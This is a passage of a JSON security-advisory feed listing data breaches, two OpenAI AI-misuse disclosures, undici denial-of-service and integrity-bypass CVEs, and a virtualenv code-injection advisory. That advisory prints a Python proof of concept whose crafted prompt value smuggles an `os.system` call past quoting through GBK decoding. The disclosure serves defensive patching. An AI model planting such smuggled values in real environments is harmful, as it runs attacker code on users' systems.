entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"techcrunch-asos-confirms-breach-of-customer-data-after-hackers-send-rogue-app-notification-91bce0d3ced7","cveId":null,"aliases":[],"kind":"breach","title":"Asos confirms breach of customer data after hackers send rogue app notification","summary":"The hackers alerted the fashion giant's customers through a push notification that said they had \"fully compromised\" the company's cloud storage.","detail":"The hackers alerted the fashion giant's customers through a push notification that said they had \"fully compromised\" the company's cloud storage.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-08T15:01:15.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"TechCrunch Security: Asos confirms breach of customer data after hackers send rogue app notification","url":"https://techcrunch.com/2026/10/08/asos-confirms-breach-of-customer-data-after-hackers-send-rogue-app-notification/","type":"reporting","publishedAt":"2026-10-08T15:01:15.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"TechCrunch Security syndication feed","url":"https://techcrunch.com/category/security/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-ai-enabled-false-front-operations-d9e485b409fe","cveId":null,"aliases":[],"kind":"ai-incident","title":"Disrupting AI-enabled “false front” operations","summary":"OpenAI disrupted two AI-enabled influence operations that used false-front journalists and a think tank to spread geopolitical messaging.","detail":"OpenAI disrupted two AI-enabled influence operations that used false-front journalists and a think tank to spread geopolitical messaging.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-08T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-ai-enabled-false-front-operations"},"sources":[{"name":"OpenAI: Disrupting AI-enabled “false front” operations","url":"https://openai.com/index/disrupting-ai-enabled-false-front-operations","type":"primary","publishedAt":"2026-10-08T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-cyrusone","cveId":null,"aliases":["CyrusOne"],"kind":"breach","title":"CyrusOne breach: 373,460 accounts exposed","summary":"In August 2026, data centre operator CyrusOne was the target of a ShinyHunters \"pay or leak\" extortion attempt . The group subsequently published data allegedly obtained from the company, which included 373k unique email addresses across records relating to users, sales leads and CyrusOne employees. The data largely consisted of corporate contact information, including names, physical addresses, phone numbers and job titles. It also included support tickets and other information related to the organisation's operations.","detail":"Verified by Have I Been Pwned. Breach date: 2026-08-05; loaded 2026-10-07. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-10-07T23:19:16.000Z","updatedAt":"2026-10-07T23:21:00.000Z","regions":["Global"],"vendor":"cyrusone.com","product":null,"stacks":["Cyrusone.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: CyrusOne","url":"https://haveibeenpwned.com/Breach/CyrusOne","type":"primary","publishedAt":"2026-10-07T23:19:16.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-angelone","cveId":null,"aliases":["AngelOne"],"kind":"breach","title":"Angel One breach: 6,765,054 accounts exposed","summary":"In July 2024, the Indian stock brokerage firm Angel One confirmed that data leaked online related to a breach that occurred in April 2023 . The leaked data included 7.9M user records containing 6.8M unique email addresses, along with names, physical addresses, phone numbers, bank account numbers, Permanent Account Numbers (PANs) and portfolio holdings. Angel One emphasised that the breach \"has no impact on client securities, funds, or credentials\".","detail":"Verified by Have I Been Pwned. Breach date: 2023-04-01; loaded 2026-10-07. Exposed data: Bank account numbers, Dates of birth, Email addresses, Financial investments, Government issued IDs, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-10-07T03:45:31.000Z","updatedAt":"2026-10-08T21:55:00.000Z","regions":["Global"],"vendor":"angelone.in","product":null,"stacks":["Angelone.in"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Angel One","url":"https://haveibeenpwned.com/Breach/AngelOne","type":"primary","publishedAt":"2026-10-07T03:45:31.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-a-coordinated-model-distillation-campaign-90249c2a3882","cveId":null,"aliases":[],"kind":"ai-incident","title":"Disrupting a coordinated model-distillation campaign","summary":"Learn how OpenAI disrupted a campaign to extract protected model reasoning and is strengthening defenses against adversarial distillation.","detail":"Learn how OpenAI disrupted a campaign to extract protected model reasoning and is strengthening defenses against adversarial distillation.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-09-30T10:30:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-a-coordinated-model-distillation-campaign"},"sources":[{"name":"OpenAI: Disrupting a coordinated model-distillation campaign","url":"https://openai.com/index/disrupting-a-coordinated-model-distillation-campaign","type":"primary","publishedAt":"2026-09-30T10:30:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109869","cveId":"CVE-2026-109869","aliases":["GHSA-xjj6-f33q-929c"],"kind":"vulnerability","title":"undici vulnerable to Denial of Service via unhandled error on excessive content-encodings","summary":"undici's `fetch()` crashes the Node.js process when a malicious server returns a response with more than five content codings and closes the connection before sending the body. undici rejects such responses (a content-encoding limit), but it created the internal response stream before that check and returned without attaching an error listener or aborting the request. The early close then surfaces a content-length mismatch on that orphaned internal stream, which Node.js treats as an unhandled `error` and terminates the process. A remote, unauthenticated server can trigger this with a single response, even when the application correctly catches the `fetch()` rejection. undici 6.x, 7.x, and 8.x are affected.\n\nUpgrade to `6.29.1`, `7.30.1`, or `8.12.2`. undici now validates the content-encoding chain before creating the internal body stream and aborts the response when the limit is exceeded, so no error can surface on an orphaned stream.","detail":"### Impact\n\nundici's `fetch()` crashes the Node.js process when a malicious server returns a response with more than five content codings and closes the connection before sending the body. undici rejects such responses (a content-encoding limit), but it created the internal response stream before that check and returned without attaching an error listener or aborting the request. The early close then surfaces a content-length mismatch on that orphaned internal stream, which Node.js treats as an unhandled `error` and terminates the process. A remote, unauthenticated server can trigger this with a single response, even when the application correctly catches the `fetch()` rejection. undici 6.x, 7.x, and 8.x are affected.\n\n### Patches\n\nUpgrade to `6.29.1`, `7.30.1`, or `8.12.2`. undici now validates the content-encoding chain before creating the internal body stream and aborts the response when the limit is exceeded, so no error can surface on an orphaned stream.\n\n### Workarounds\n\nNone.\n\nAffected package ranges reported by GitHub:\nundici: >= 6.23.0, < 6.29.1\nundici: >= 7.18.0, < 7.30.1\nundici: >= 8.0.0, < 8.12.2","action":"GitHub lists first patched versions: undici: 6.29.1; undici: 7.30.1; undici: 8.12.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:14:31.000Z","updatedAt":"2026-10-23T22:14:32.000Z","regions":["Global"],"vendor":"nodejs","product":"undici, undici, undici","stacks":["Node.js","JavaScript packages (npm)","undici","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-xjj6-f33q-929c","asOf":"2026-10-23T22:14:32.000Z"},"epss":{"probability":0.00344,"percentile":0.27642,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xjj6-f33q-929c","url":"https://github.com/advisories/GHSA-xjj6-f33q-929c","type":"primary","publishedAt":"2026-10-23T22:14:31.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xjj6-f33q-929c, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-109869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109869","type":"primary","publishedAt":"2026-10-15T19:17:21.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109924","cveId":"CVE-2026-109924","aliases":["GHSA-4qv8-2p9j-2685"],"kind":"vulnerability","title":"undici vulnerable to Denial of Service via unbounded memory in the EventSource parser","summary":"undici is an HTTP client library for Node.js. In versions 6.5.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its EventSource client can be driven to exhaust process memory by a malicious or compromised Server-Sent Events peer. By sending millions of tiny completed data fields with no blank event separator, or a single unfinished line split across many chunks, the parser retains a growing amount of per-field and per-chunk state that the byte-based maxEventSize and maxResponseSize limits do not bound, and because maxResponseSize is enforced on the compressed body before decompression, a small compressed response can expand into enough retained memory to terminate the process. An application only needs to maintain an EventSource connection to an untrusted peer, which controls only the response, and availability is the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which bound the retained parser state independently of the byte limits, and users should upgrade to one of those versions or later. There is no workaround.","detail":"undici is an HTTP client library for Node.js. In versions 6.5.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its EventSource client can be driven to exhaust process memory by a malicious or compromised Server-Sent Events peer. By sending millions of tiny completed data fields with no blank event separator, or a single unfinished line split across many chunks, the parser retains a growing amount of per-field and per-chunk state that the byte-based maxEventSize and maxResponseSize limits do not bound, and because maxResponseSize is enforced on the compressed body before decompression, a small compressed response can expand into enough retained memory to terminate the process. An application only needs to maintain an EventSource connection to an untrusted peer, which controls only the response, and availability is the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which bound the retained parser state independently of the byte limits, and users should upgrade to one of those versions or later. There is no workaround.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:22.180Z","updatedAt":"2026-10-23T22:13:31.000Z","regions":["Global"],"vendor":"nodejs","product":"undici","stacks":["Node.js","JavaScript packages (npm)","undici","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-4qv8-2p9j-2685","asOf":"2026-10-23T22:13:31.000Z"},"epss":{"probability":0.00321,"percentile":0.24857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109924&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109924","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109924","type":"primary","publishedAt":"2026-10-15T19:17:22.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-4qv8-2p9j-2685","url":"https://github.com/advisories/GHSA-4qv8-2p9j-2685","type":"primary","publishedAt":"2026-10-23T22:13:29.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4qv8-2p9j-2685, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109924&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109924, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109841","cveId":"CVE-2026-109841","aliases":["GHSA-f72v-6w45-q472"],"kind":"vulnerability","title":"undici vulnerable to Subresource Integrity bypass via non-lowercase algorithm tokens","summary":"undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its fetch() implementation verifies Subresource Integrity metadata by matching the algorithm token against a lowercase-only set, even though the SRI specification defines the token by its ASCII-lowercase form, so a valid but non-lowercase token such as an uppercase or mixed-case SHA256 is treated as unknown and skipped. When no recognized algorithm remains, undici treats the integrity list as empty and accepts the response, so a server returning a body that does not match the pinned digest passes the check. An attacker who controls only the response body can therefore deliver attacker-controlled bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error, affecting response integrity only. The issue is fixed in undici 7.30.1 and 8.12.2, which normalize the algorithm token to ASCII lowercase before validation, and users should upgrade to one of those versions or later. As a workaround, use lowercase algorithm tokens such as sha256, sha384, or sha512 in integrity metadata.","detail":"undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its fetch() implementation verifies Subresource Integrity metadata by matching the algorithm token against a lowercase-only set, even though the SRI specification defines the token by its ASCII-lowercase form, so a valid but non-lowercase token such as an uppercase or mixed-case SHA256 is treated as unknown and skipped. When no recognized algorithm remains, undici treats the integrity list as empty and accepts the response, so a server returning a body that does not match the pinned digest passes the check. An attacker who controls only the response body can therefore deliver attacker-controlled bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error, affecting response integrity only. The issue is fixed in undici 7.30.1 and 8.12.2, which normalize the algorithm token to ASCII lowercase before validation, and users should upgrade to one of those versions or later. As a workaround, use lowercase algorithm tokens such as sha256, sha384, or sha512 in integrity metadata.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:21.640Z","updatedAt":"2026-10-23T22:13:18.000Z","regions":["Global"],"vendor":"nodejs","product":"undici","stacks":["Node.js","JavaScript packages (npm)","undici","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-f72v-6w45-q472","asOf":"2026-10-23T22:13:18.000Z"},"epss":{"probability":0.00252,"percentile":0.16469,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109841&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109841","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109841","type":"primary","publishedAt":"2026-10-15T19:17:21.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-f72v-6w45-q472","url":"https://github.com/advisories/GHSA-f72v-6w45-q472","type":"primary","publishedAt":"2026-10-23T22:12:57.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f72v-6w45-q472, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109841&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109841, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113718","cveId":"CVE-2026-113718","aliases":["GHSA-394h-qwmc-48pf"],"kind":"vulnerability","title":"virtualenv: Xonsh activation literals depend on the script decoding codec","summary":"Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.","detail":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prompt supplier\n participant V as virtualenv quote()\n participant F as activate.xsh bytes\n participant X as xonsh source\n A->>V: 中 plus escaped quote and statements\n V->>F: repr writes UTF-8 中 followed by backslash\n alt XONSH_ENCODING is UTF-8\n F->>X: backslash remains an escape\n X-->>A: prompt remains data\n else XONSH_ENCODING is GBK or Big5\n F->>X: decoder consumes backslash as trail byte\n X->>X: quote closes and statements run\n end\n Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload's \" makes repr() delimit with ' and write the prompt's own ' as \\'\n# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f'__import__(\"os\").system(\"touch {marker}\")'\nhostile_prompt = \"中\" + \"';\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ[\"VIRTUAL_ENV_PROMPT\"]'))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}\")\nprint(f\"activate_this.py read as GBK: {prompt_line.decode('gbk')}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/ac\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:24:43.000Z","updatedAt":"2026-10-23T22:24:44.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-394h-qwmc-48pf","asOf":"2026-10-23T22:24:44.000Z"},"epss":{"probability":0.00177,"percentile":0.07253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-394h-qwmc-48pf","url":"https://github.com/advisories/GHSA-394h-qwmc-48pf","type":"primary","publishedAt":"2026-10-23T22:24:43.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-394h-qwmc-48pf, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113718","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113718","type":"primary","publishedAt":"2026-10-20T20:17:18.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 